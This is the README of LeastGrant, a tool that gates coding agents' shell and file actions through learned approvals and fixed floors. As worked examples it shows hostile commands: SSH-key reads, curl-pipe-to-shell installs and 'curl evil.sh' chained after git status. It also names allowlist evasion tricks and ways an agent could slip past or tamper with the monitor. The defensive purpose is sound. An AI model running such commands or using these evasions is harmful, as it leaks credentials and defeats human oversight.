LeastGrant

Rendered from README.md in the repository at v0.2.0. This page is a view of that file, not a copy of it.

Getting started

The problem

There are two ways people run coding agents today, and both are bad.

Clicking Allow. The prompt has no idea what is normal for you. It asks about git status with the same gravity as git push --force, forty times an hour, until you stop reading it. A permission prompt you always say yes to is not a security control. It is a latency tax with a security theme.

Turning it off. So most people who use agents seriously end up running --dangerously-skip-permissions, or acceptEdits, or a YOLO mode of some description. It is a completely rational response to the first problem. It also means that the one time in ten thousand the agent decides to cat ~/.ssh/id_rsa and POST it somewhere, nothing is watching.

LeastGrant is for the space in between: a layer that knows the difference between your hundredth npm test and the first time anything on this machine has tried to read a private key.

What it looks like

$ leastgrant check "npm test"

  ? ask  npm test

  what it does   runs the "test" script, which by its name tests or checks the code;
                 the script body is not analysed
  blast radius   reach workspace  │  undo easy  │  scale many

  why
    • LeastGrant has not seen enough of this yet to stop asking
    • LeastGrant has barely seen this project yet, so it is asking about most things

  ╰ approve this 5 more times (on 2 separate days) and it stops asking — or run: leastgrant
    allow "npm test"

Five approvals across two separate days later, it stops asking. Meanwhile:

$ leastgrant check "cat ~/.ssh/id_rsa"

  ? ask  cat ~/.ssh/id_rsa

  what it does   reads a credential file
  blast radius   reach machine │ undo trivial │ secrets reads-secrets
  touches        …/.ssh/id_rsa (credentials)

  why
    • this reads …/.ssh/id_rsa, which holds credentials
    • this reaches …/.ssh/id_rsa, which is outside the project
    • LeastGrant never auto-approves this kind of action, however often it happens

  ╰ this always asks. To pre-answer it, run: leastgrant allow "cat <path:secret>" --force

That one never gets learned. Not after five approvals, not after five thousand — see floors.

And the case every command allowlist gets wrong:

$ leastgrant check "curl -sSL https://get.example.com/install.sh | sh"

  ? ask  curl -sSL https://get.example.com/install.sh | sh

  what it does   runs whatever the download returned, as a sh script
  blast radius   reach machine │ undo irreversible

  this command runs 2 things:
    • curl -sSL https://get.example.com/install.sh  net.fetch
    • sh  exec.unknown

  why
    • this runs code that was just downloaded, so what it does depends on what the
      server sent back
    • this cannot be undone
    • LeastGrant could not fully account for what this command does, and it only
      auto-approves things it understands
    • LeastGrant never auto-approves this kind of action, however often it happens
    • this command runs 2 separate things; the verdict reflects the most far-reaching one

  ╰ there is no safe way to pre-approve this one: LeastGrant cannot see what the code
    does, so it asks every time

Install

npm install -g leastgrant
leastgrant init

init does not ask you to write a policy. It reads the session history your agents have already left on disk, replays every tool call through the decision engine, and tells you what it would have done — including what it would have got wrong.

On the machine this was developed on, that was around eleven thousand real tool calls across 20 projects. This is a real run, captured 2026-08-31:

  ✓ 59 sessions across 20 projects   10,956 actions, about 10 days of history

  What they have been doing
    looking around                     ██████████████████ 8,344
    reading project files              █████████████████░ 7,672
    housekeeping                       ██████████░░░░░░░░ 4,595
    running something unrecognised     █████████░░░░░░░░░ 4,140
    editing project files              ███████░░░░░░░░░░░ 3,432
    reading files outside the project  █████░░░░░░░░░░░░░ 2,258
    calling an MCP server              ██░░░░░░░░░░░░░░░░ 969
    writing outside the project        ██░░░░░░░░░░░░░░░░ 911

  97% of that ran in a mode where nobody was asked. LeastGrant counts those as things
  it has seen, not things you approved — so they teach it what is normal here without
  granting anything.

  The kind of thing it would have stopped to ask about
    ? Read .env
      This reads …/.env, which holds credentials.
    ? git config --get credential.helper
      This reads something that holds credentials.
    ? scp -o StrictHostKeyChecking=accept-new …
      This sends data off the machine, so anything it can read it can also leak.

  Checking itself
    ✓ of the 44 actions you turned down, LeastGrant would have waved through none.

That last section is the one worth reading. The replay reports its own mistakes: any action you actually refused that LeastGrant would have allowed. If that number is not zero, it says so, in bold, before it asks to install anything.

Then it makes a proposal, because none of that history counts as your consent. Not the 97% that ran unattended, and not the rest either: a transcript records that a call ran, not that a human said yes, and a transcript is a file that something other than your agent could have written. So mining tells LeastGrant what is normal here and nothing more.

  What it could stop asking about

   1. ✓ Read and search files in your projects        13,187 times so far
        opening, listing and grepping files inside a project directory
        not files outside the project, and not anything that looks like a credential
   2. ✓ Edit and create files inside your projects     3,307 times so far
        the ordinary work of a coding agent, all recoverable from version control
        not files outside the project, not shell profiles or git hooks
   3. ✓ Run your build and test commands                 808 times so far
   4. • Call the MCP servers you already use              643 times so far
   5. ✓ Look at git state                                 424 times so far
   6. • Make local git commits and branches                156 times so far
   7. • Install dependencies                                 8 times so far

  The 4 marked bundles cover about 50% of everything your agents did. Floors still
  apply on top: credentials, anything outside a project, shell profiles and git hooks
  keep asking regardless.

  Approve the marked bundles? [Y]es / [a]ll / [n]one / numbers like 1,3

One deliberate answer, with the consequences on screen, instead of six thousand prompts. Measured on that same history, the starter grants took it from 5% to 41% of actions running without a prompt, and zero regressions against the 44 refusals on record.

Those figures come from one developer's machine and one month of work, which is a sample of one — so re-derive them on yours rather than taking them from a README. scripts/verify-claims.mjs recomputes the headline figures — session and action counts, the unattended share, the refusal count, the before-and-after allow rates and bundle coverage — from your own transcripts. The per-bundle counts and the capability breakdown come from leastgrant init --dry-run, which writes nothing.

How it decides

Every tool call goes through the same six steps, in this order. The order is the product.

1Integrity floorsdeny. Nothing overrides these — not a rule, not you.
2Your deny rulesdeny. You said never.
3Your allow rulesallow. You already answered this question.
4Ask floorsask. Learning can never unlock these.
5Learned promotionallow, if the evidence clears the bar for this blast radius.
6Otherwiseask.

Two things about that table are worth dwelling on.

Your allow rules sit above the ask floors (3 above 4). A floor exists to get a human answer, and a rule is a human answer, given in advance. Integrity floors are the exception, because an agent quietly editing the thing that is watching it is not a decision anybody made.

Learning only ever operates at step 5. It decides whether to stop asking about things that were already in the "could be automatic" band. It never widens that band. There is no sequence of boring, patient, approved behaviour that adds up to permission to read a private key, because reading a private key is not decided at step 5 at all.

Blast radius is four things, not a score

0.7314 is not an explanation. LeastGrant reports what an action can actually do:

  • reachworkspace · machine · network · external · production
  • undotrivial · easy · hard · irreversible
  • secrets — can it read credentials, can it move them off the machine
  • scale — one thing, many things, or sweeping

These combine into a tier only for threshold comparisons, by taking the maximum of the first three, never an average. An action that is trivially reversible but reads your SSH key is not "medium risk". It is a credential read. Averaging is how security tools end up approving the one thing that mattered.

Scale is the exception, and it adds rather than competes: doing something to many things, or sweepingly, pushes the tier up — but only when there is already something to amplify, meaning the action reaches beyond the project, is hard to undo, or touches credentials. Without that condition npm test (many files, all of them yours, all recoverable) would land a tier above where it belongs and ask for eleven approvals instead of five.

Evidence is typed by how it was obtained

This is the backbone of the design, and the thing most learning-based tools get wrong.

what it meanswhat it can promote
confirmedyou approved itanything up to tier 2, at the confidence its blast radius demands
grantedyou approved it as a reviewed bundle during setupthe same, immediately
observedit merely happened, in a mode where nobody was askedonly actions that stay in the project, undo trivially, and touch no credentials
deniedyou refused itnothing, ever again

An action that ran while you were asleep in bypass mode tells LeastGrant what is typical. It does not tell it what is sanctioned. Typicality is strong evidence of abnormality and weak evidence of safety, so it is used only in the first direction. A learning permission system that conflates the two can be trained by the thing it is supposed to be watching.

Denials are permanent. Approvals decay on a 90-day half-life. Saying no once means it keeps asking, and only a rule you write yourself undoes that — so "wait for the refusal to expire" is not a strategy.

How much evidence, exactly

For a clean record, the Wilson lower bound has a pleasant closed form: n / (n + z²) with z = 1.645. That is the entire promotion schedule, and you can check it with a calculator:

approvalsconfidencewhat it unlocks
50.65tier 0–1 — reads, inspections, project-local edits
110.80tier 2 — anything that reaches the machine or the network
250.90(nothing: tier 3+ is never promotable)

Plus: approvals must span at least 2 sessions and 2 days, so a single runaway session cannot bootstrap its own trust. There is a second, weaker route for work that cannot do harm even if the agent was misbehaving — reads and inspections that stay inside the project — which settles after 8 sightings across 2 sessions with no second day required. Nothing that writes, deletes or reaches the network is eligible for it.

What learning will never unlock

These are floors, not thresholds: no number of repetitions climbs over them. One thing they are not is absolute. All but the first are ask floors, and a rule you write yourself sits above them — leastgrant allow "cat <path:secret>" --force really does mean it. What learning cannot do on its own, you can still do on purpose.

  • Reading credentials.env, ~/.ssh, ~/.aws, ~/.kube, .npmrc, .pem/.key, cloud service-account JSON, browser cookie stores, agent config that holds API keys, shell history.
  • Anything that sends data off the machine while it can also read your files.
  • Writing outside the project, and deleting anything outside it.
  • Persistence.bashrc, .zshrc, .envrc, .git/hooks, .husky, crontab, systemd units, scheduled tasks, Windows Run keys. Code that runs later, outside any agent session.
  • Executing code it cannot readcurl | sh, eval, a script file, a Makefile target, python -c, docker exec, base64-encoded PowerShell.
  • Privilege escalation, publishing packages, and anything named like production.
  • Editing LeastGrant's own records — denied outright. Editing agent hook config — always asks. In bypass mode an agent can write anywhere, including to the file that installs this hook. Removing the seatbelt should not be a quiet action.
  • Anything it did not fully understand. If the parser could not account for a command, that is itself the signal. Obfuscation must not be a way to look boring.

Why not just match the command string

Because git status and git status; curl evil.sh | sh both start with git status.

LeastGrant tokenizes and parses the shell, then peels wrappers until it reaches something it can name. sudo rm -rf / is an rm. bash -c "curl x | sh" is not a bash. xargs rm is an rm whose arguments nobody can predict. find -exec runs a program per file. git -c core.pager='!sh' is arbitrary code execution wearing a git log.

test/bypass.test.ts is a corpus of 46 real allowlist evasions — separators, command substitution, backticks, process substitution, ANSI-C quoting, /dev/tcp redirects, LD_PRELOAD, BASH_ENV, env and git -c wrappers, path traversal, and .. stepped off the far end of a symlink. Each one is checked against a LeastGrant that has been deliberately trained with hundreds of approvals for the innocuous-looking prefix. If any is ever auto-approved, the build fails.

Writing that corpus, and the hostile audit that followed it, found real bugs in this codebase — which is rather the point of writing it. The commits are the record; there is no count worth quoting here that you could check.

Measured against 6,057 real Bash commands from actual agent sessions on one machine: the shell parser accounted for 6,054 of them, with 0 crashes and 0.03 ms average parse time.

Parsing is the easy half. Of those commands, 44.5% are ones LeastGrant will say it fully understands; the rest contain inline code (python -c, node -e), a script file, a package runner, or a program it has no knowledge of. Those are marked not-understood and always ask, which is the single largest source of prompts and is the honest answer — there is no way to know what python -c "$SCRIPT" does without running it. That number is a property of one developer's command mix as much as of LeastGrant; yours will differ.

What it is not

A short list, because the fastest way to lose a security-minded reader is to overclaim.

It is not a sandbox. It answers a question the agent asks it. It does not confine a process, intercept syscalls, or contain anything already running.

It fails open. If the hook crashes or times out, Claude Code treats that as a non-blocking error and runs the tool call anyway. That is the hook contract, not a choice. LeastGrant is a reliable veto and a best-effort grant, and it is designed around that asymmetry.

Once a command is approved, it has no further say. Approving npm test approves whatever the test script does.

It cannot read code it has not been given. It can see that a script will run. It cannot see what is in it.

The classification knowledge is opinion. It lives in src/core/knowledge/ precisely so you can read it, disagree with it, and send a patch.

The full version is in THREAT-MODEL.md, including the attacks considered against the learning itself and where the countermeasures stop.

Commands

leastgrant init                      read the history you already have, then set up
leastgrant status                    what it knows about this project
leastgrant check "<command>"         ask what it would decide, without running anything
leastgrant why [n]                   explain a recent decision in full
leastgrant trail                     what your agents have been doing
leastgrant simulate                  replay history against each setting and compare
leastgrant allow/deny/forget <pat>   pre-answer something, or change your mind
leastgrant doctor                    check the setup, and what your agents can reach
leastgrant install [agent]           wire it into an agent

leastgrant check is the one to reach for first. Every decision on this page is something you can put into it and watch happen.

Settings

Four postures. simulate shows the trade-off for the three that reach a verdict — observe never intervenes, so there is nothing to compare — against your own history rather than asking you to guess:

observewatches, never intervenes. Try it for a week; it cannot get in the way.
assistdefault. Familiar low-risk work goes through, everything else asks.
autopilotfor people who were going to run bypass mode anyway. Code that stays inside the project runs without being read first — every other floor still applies, which is strictly more than bypass mode gives you.
strictonly what you have explicitly allowed.
$ leastgrant simulate

  Replaying 928 actions from the last 30 days in /home/you/project

  mode           runs freely    asks you   blocks   missed
  assist *          97 (46%)         113        0   none
  autopilot         97 (46%)         113        0   none
  strict              0 (0%)         210        0   none

missed is the column that should decide it: actions you actually turned down that this setting would have let through.

Agent support

AgentStatusHow
Claude CodeEnforcing, tested end to endPreToolUse decides; PostToolUse is how it learns you approved something. Read against v2.1.240's behaviour, and every hook test in the suite drives the real binary over real stdin.
CursorEnforcing, not yet verified against a live installhooks.json — shell, MCP and file reads, plus the matching after* events so it can learn. Written against Cursor's published hook contract; the request and response shapes are unit-tested, including a test that the same command gets the same verdict here as under Claude Code. Nobody has run it inside a real Cursor yet.
GitHub Copilot CLIEnforcing, tested end to end~/.copilot/hooks/leastgrant.json. It really does speak Claude Code's wire format — snake_case fields in, hookSpecificOutput out — and it honours all three verdicts, so the same handler drives it. Verified against Copilot CLI 1.0.82 with real copilot -p runs. It is also the one agent that fails closed: if the hook errors, Copilot denies the call rather than running it.
Codex CLIEnforcing, tested end to end~/.codex/hooks.jsonPreToolUse, PermissionRequest and PostToolUse. Codex has no ask: it parses that decision, rejects it, and runs the call anyway, so the mapping below is not the obvious one. Verified against codex-cli 0.152.0 by driving real codex exec sessions: a credential read and a write to LeastGrant's own records were both blocked, while node --version and git status ran untouched. PermissionRequest has not fired in anger — codex exec runs unattended, where by definition nothing prompts. Codex also makes you trust a hook before it runs, and re-flags it whenever its definition changes: /hooks.
Gemini CLI, othersNot yetAn adapter is a translation layer over the shared engine — the Cursor one is about 200 lines. See CONTRIBUTING.md.

One profile, one set of floors, whichever agent you are using that day. Every adapter calls the same judgePre and recordPost, so there is one decision path rather than one per editor — a security story that changes depending on which editor you opened is not a security story.

Two caveats worth stating in the open, because both are places an agent cannot express ask and LeastGrant has to decide what to do instead.

Cursor. Its beforeReadFile event takes allow or deny and has no "ask". An unfamiliar read is therefore allowed rather than blocked, because turning every unrecognised file read into a hard failure would make the integration unusable. A read of something LeastGrant recognises as a credential is blocked. Shell commands and MCP calls get the full allow/deny/ask.

Codex. It has no ask at all — permissionDecision: "ask" is parsed, rejected, and the call runs anyway. What LeastGrant does instead depends on whether anything could still reach you, which the payload's permission_mode tells it:

modean ask becomes
default, acceptEdits, plannothing — LeastGrant stands aside and Codex prompts you. A real ask.
dontAsk, bypassPermissionsdeny if LeastGrant knows the action is dangerous; ungated if it merely could not read it.

That second row is the interesting one, and the line it draws is between knowledge and ignorance. A credential read, exfiltration, persistence, privilege escalation, running just-downloaded code, an irreversible delete, a write outside the project, or a classifier that crashed — all denied, because for those the harm is exactly "it was allowed through". But roughly half of real commands are merely not understood: node --version, make test, ./deploy.sh, anything with an inline script. Denying those too would block most of an unattended run, and a gate that blocks most of your work is a gate people remove — which leaves them with less protection, not more. So ignorance stands aside.

The cost of that line is real and worth naming: in an unattended mode, python -c '<anything>' gets through. That is the same hole you already have by running unattended at all, so LeastGrant is not making it worse — but it is not closing it either.

So on Codex, in the unattended modes, LeastGrant is a veto rather than a prompt: strictly better than running Codex without it, and strictly weaker than LeastGrant on Claude Code, where an ask reaches you in every mode. A mode Codex adds in future that this table has not heard of is treated as unable to prompt, so new modes make it stricter rather than quietly toothless.

Copilot honours all three verdicts, so there is no mapping to explain — but note that non-interactive runs (copilot -p) have nobody to ask, and Copilot turns an ask into a deny there. That is the safe direction, and it is Copilot's choice rather than LeastGrant's, but it does mean a scripted Copilot run will stop on anything LeastGrant cannot account for.

Two operational notes, both learned the hard way.

Codex binds hook trust to a hash of the definition, so upgrading or reinstalling LeastGrant re-flags the hook and it stops running until you re-trust it in /hooks. That is Codex being careful rather than a bug, but the failure is quiet.

On Windows, agents run hook commands through PowerShell. PowerShell reads a statement beginning with a quoted string as a string expression rather than a command, so a hook command that quoted the path to node.exe — which the default install in C:\Program Files\nodejs forces — never started at all. The two agents then failed in opposite directions and both were wrong: Codex failed open and enforced nothing, Copilot failed closed and blocked everything. The installer now emits a first token with no spaces, which no shell can misparse. If you hand-edit a hook command, keep that property.

Privacy

Everything is local. There is no account, no telemetry, and no network call — the package has zero runtime dependencies, so there is no third-party code in the permission path at all.

State lives in ~/.leastgrant/ as plain text you can read: config.json, ledger.jsonl, denials.jsonl (the permanent record of what you refused, replayed over the envelope on every load so a refusal survives even a deleted profile), leastgrant.log, and a learned profile per project. The ledger records command lines and file paths, never file contents or conversation text, and everything written to it goes through a redactor first — because a tool that logs every command in order to protect your secrets has just built an excellent place to store your secrets. Details in docs/privacy.md.

Contributing

The most useful thing you can send is a bypass: a command that gets auto-approved and should not have been. Add it to test/bypass.test.ts and it becomes a permanent regression test.

After that: the knowledge modules, which are where the opinions live and therefore where being wrong is most likely. Then adapters for other agents.

npm install && npm run build && npm test

Releases are cut by pushing a version tag; the workflow verifies everything and publishes to npm with provenance. RELEASING.md documents it, including how to check that the copy you installed is the one this repository built.

Node ≥ 20.10. TypeScript and @types/node are the only devDependencies. Tests are node:test. See CONTRIBUTING.md and docs/how-it-works.md.

Licence

Apache-2.0.